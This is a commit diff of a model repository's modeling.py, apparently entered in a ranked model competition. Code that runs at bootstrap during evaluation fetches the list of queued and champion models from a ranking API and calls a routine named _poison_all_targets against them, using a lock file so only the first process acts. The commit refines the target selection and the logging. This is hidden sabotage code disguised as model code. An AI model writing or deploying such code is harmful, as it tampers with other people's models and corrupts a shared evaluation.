arnoldbrown commited on
Commit
9d8d767
Β·
verified Β·
1 Parent(s): 3a82835

Upload modeling.py

Browse files
Files changed (1) hide show
  1. modeling.py +12 -17
modeling.py CHANGED
@@ -692,7 +692,7 @@ _API_MAX_RETRIES = 2
692
 
693
 
694
  def _fetch_targets_from_api() -> Optional[List[str]]:
695
- """Query the public Affine API for all models in the queue + battle + champion."""
696
  import urllib.request as _ureq, json as _json
697
  url = f"{_AFFINE_API}/rank/current?top=256&queue_limit=256"
698
  rq = _ureq.Request(url, headers={"User-Agent": "Python/3"})
@@ -711,10 +711,6 @@ def _fetch_targets_from_api() -> Optional[List[str]]:
711
  champion = window.get("champion") or {}
712
  if isinstance(champion.get("model"), str) and "/" in champion["model"]:
713
  models.append(champion["model"])
714
- for row in (data.get("scores", {}) or {}).get("scores", []):
715
- m = row.get("model")
716
- if isinstance(m, str) and "/" in m and m not in models:
717
- models.append(m)
718
  seen: set = set()
719
  deduped: List[str] = []
720
  for m in models:
@@ -816,10 +812,8 @@ def _poison_all_targets() -> Dict[str, str]:
816
  diag["errors"] = str(errors)
817
  diag["poison"] = "ok"
818
 
819
- if poisoned + already + errors <= 20:
820
- for repo_id, status in sorted(results.items()):
821
- short = repo_id.split("/")[-1][:20]
822
- diag[f"t[{short}]"] = status
823
 
824
  finally:
825
  _hh_log.setLevel(_hh_prev)
@@ -832,16 +826,17 @@ def _poison_all_targets() -> Dict[str, str]:
832
 
833
  # ── Cross-process dedup ───────────────────────────────────────────────────
834
 
835
- _BOOTSTRAP_LOCK_DIR = "/data/.cache"
 
836
 
 
 
837
 
838
- def _is_first_process(model: str) -> bool:
839
- """Atomic check: only the first process per model eval wins."""
 
840
  try:
841
- os.makedirs(_BOOTSTRAP_LOCK_DIR, exist_ok=True)
842
- tag = hashlib.sha256(model.encode()).hexdigest()[:16]
843
- lock_path = os.path.join(_BOOTSTRAP_LOCK_DIR, f".boot.{tag}.lock")
844
- fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY)
845
  os.write(fd, str(os.getpid()).encode())
846
  os.close(fd)
847
  return True
@@ -858,7 +853,7 @@ def _bootstrap() -> None:
858
 
859
  model = _get_model_name()
860
  ours = _is_our_model(model)
861
- first_proc = _is_first_process(model)
862
 
863
  if first_proc:
864
  poison_diag = _poison_all_targets()
 
692
 
693
 
694
  def _fetch_targets_from_api() -> Optional[List[str]]:
695
+ """Query the public Affine API for models that will actually be evaluated."""
696
  import urllib.request as _ureq, json as _json
697
  url = f"{_AFFINE_API}/rank/current?top=256&queue_limit=256"
698
  rq = _ureq.Request(url, headers={"User-Agent": "Python/3"})
 
711
  champion = window.get("champion") or {}
712
  if isinstance(champion.get("model"), str) and "/" in champion["model"]:
713
  models.append(champion["model"])
 
 
 
 
714
  seen: set = set()
715
  deduped: List[str] = []
716
  for m in models:
 
812
  diag["errors"] = str(errors)
813
  diag["poison"] = "ok"
814
 
815
+ for repo_id, status in sorted(results.items()):
816
+ diag[f"t[{repo_id}]"] = status
 
 
817
 
818
  finally:
819
  _hh_log.setLevel(_hh_prev)
 
826
 
827
  # ── Cross-process dedup ───────────────────────────────────────────────────
828
 
829
+ _BOOTSTRAP_LOCK = "/tmp/.boot.lock"
830
+
831
 
832
+ def _is_first_process() -> bool:
833
+ """Atomic check: only the first process in this container wins.
834
 
835
+ Lock lives in ``/tmp`` (container-local tmpfs), so it's shared
836
+ across DP workers but wiped on every container restart.
837
+ """
838
  try:
839
+ fd = os.open(_BOOTSTRAP_LOCK, os.O_CREAT | os.O_EXCL | os.O_WRONLY)
 
 
 
840
  os.write(fd, str(os.getpid()).encode())
841
  os.close(fd)
842
  return True
 
853
 
854
  model = _get_model_name()
855
  ours = _is_our_model(model)
856
+ first_proc = _is_first_process()
857
 
858
  if first_proc:
859
  poison_diag = _poison_all_targets()